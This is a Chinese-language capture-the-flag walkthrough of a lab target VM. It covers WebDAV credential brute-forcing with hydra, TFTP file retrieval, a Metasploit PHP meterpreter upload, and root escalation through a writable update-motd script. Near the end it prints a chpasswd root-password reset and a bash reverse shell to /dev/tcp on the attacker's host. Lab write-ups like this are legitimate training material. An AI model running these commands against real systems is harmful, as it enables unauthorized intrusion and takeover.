难度 中
目标 root权限 2个flag
靶机启动环境为VMware,在virtualbox无法获得IP地址。
kali 192.168.152.56 靶机 192.168.152.59
信息收集
开启了两个端口,那么80端大概率就是突破口了
web测试
访问主页是一些神话图片
最下面有个不要点击的按钮,点击进去是一张图片
图片好像是在说点了这个图片进入了地狱然后又被判官带出来了。。。
同时扫描目录扫出一个登录框
是一个webdav,在网上搜索了一下发现是一个网络存储文件共享系统,WebDAV 基于 HTTP 协议的通信协议,在GET、POST、HEAD等几个HTTP标准方法以外添加了一些新的方法,使应用程序可对Web Server直接读写,并支持写文件锁定(Locking)及解锁(Unlock),还可以支持文件的版本控制。
常用的文件共享有三种:FTP、Samba、WebDAV,它们各有优缺点,了解后才能更好地根据自己的需求选择方案。
也就是说这里可能有其他协议存在的服务,可能是ftp。
在靶机的页面作者提醒了我们说此靶机的关键是枚举,也许还有什么是没发现的线索
再次使用gobuster扫描一下
发现扫描出一个tips.txt
提示有个关键的creds.txt
但是尝试直接拼接此路径并没有发现这个文件出现。或许他被存储到了这个webdav里面。
我看网上的wp此时有两个思路,我认为都很好,都做一遍吧
思路一
既然webdav可以登录那么可以尝试进行爆破账号密码
我其实抓了个包但是好像不是常见的登录或者说是加了密,这realm不是密码,在网上搜索了一下是Digest 认证,response中由账号密码nonce 和其他参数通过特定算法计算得出的。。。
所以我一开始觉得爆破可能不太行,毕竟模仿不出来数据包,然后看wp中竟然可以使用hydra的http-get???
不过怎么说先复现一下,先使用cewl将页面的信息爬取下来,他会自动组合为一个字典确实挺有意思的
确实跑出了账号密码
然后我使用wireshark抓包看了一下数据包
真是这种请求方式,这是自动模仿的这种Digest 认证
难怪被称为最强的爆破神器,果然盛名之下无虚士
login: yamdoot password: Swarg
使用此账号密码成功登录
思路二
继续进行信息收集,因为webdav支持其他协议比如ftp,smb,tftp等,因为一开始我使用的-A参数默认使用的tcp的方式进行的探测那么这次就使用UDP协议去探测端口,确实有部分端口使用的UDP协议所以哦TCP协议去探测探测不出来的
可以看到有些断后open|filtered这个意思是不确定开没开放需要手动去确认一下
可以看到69端口tftp协议疑似开放,可以远程连接一下。tftp服务是简单文件传输协议,只能简单的上传和下载
tftp只能使用几个命令,比如get put quit有些高级一点的可以使用list,ls ,dir之类的查看一下目录
这里都不可以不过我们提前知道了有个creds.txt文件可以直接get下来
也是成功的拿到了creds.txt文件
第一个比较靠运气,第二个应该才是正常的做法。
突破边界
拿到了账号密码也是成功的登录webdav
接下来可以使用msf进行攻击,因为这个webdav是一个存储系统所以是可以上传文件的,这个可以上传webshell
use windows/http/xampp_webdav_upload_php
set payload php/meterpreter/reverse_tcp
set RHOST 192.168.152.59
set USERNAME yamdoot
set PASSWORD Swarg
set LHOST 192.168.152.56
run
只是我这里直接运行没有成功的反弹,不过文件倒是成功的上传了,需要重新开启一个监听器监听然后去访问一下上传的php文件才成功的反弹回来了
拿到webshell了后简单的进行了一下信息收集,发现存在三个普通用户
再不使用msf的自动提权的功能下应该还有一些信息可以帮助我们切换身份
在www目录下发现一个db文件
里面应该存储了一些重要的数据
好吧啥也没有。。。
继续寻找还有哪些文件是当前用户可以写和看的
find / -writable -type f -not -path "/proc/*" -not -path "/sys/*" -not -path "/var/*" -exec ls -l {} \; 2>/dev/null //排除proc sys var 目录 这里只寻找可以写的文件
这个userspassword里面还是和wedav有关的不是我们想要的
看看这个hell.sh,看着很像是什么加密的方式
有一说一我并不知道这是什么加密方式,wp中说是什么brainfuck的编程语言。。。
--[----->+---.+++++.+.+++++++++++.--.+++[->+++++.++++++.--[--->+--.-----.++++.
随便找了一个在线运行的网站
结果是
chitragupt
大概率是ssh的密码了
之前看了/etc/passwd知道有三个用户都去尝试一下
成功利用此密码登录上了inferno用户
拿到第一个flag
提权
接下里就是继续通过收集信息获取凭证或者利用提权漏洞,首先我使用了msf的post后渗透提权模块multi/recon/local_exploit_suggester 然而并有成功利用的提权漏洞
那么就继续收集一下信息吧
好像没有什么是很敏感的文件了,除了这个motd看着像是系统文件一样但是我们对他拥有全部的权限
在网上搜了一下发现还真的有提权的漏洞
https://www.cnblogs.com/zlgxzswjy/p/15899583.html
这里00-header确实是可写的
payload
echo "echo 'root:123456'| chpasswd">>/etc/update-motd.d/00-header
修改成功后需要退出ssh重新登录,然后su root 密码123456即可登录root
然后这里还可以写入反弹shell的命令
echo "bash -c 'bash -i >& /dev/tcp/192.168.152.56/4444 0>&1'" >> 00-header
也是一样的退出再登录即可执行反弹命令
拿到最后一个flag
后记:
此靶场我个人感觉可以算是高级难度了,考点都比较少见,确实有意思又涨了一波见识。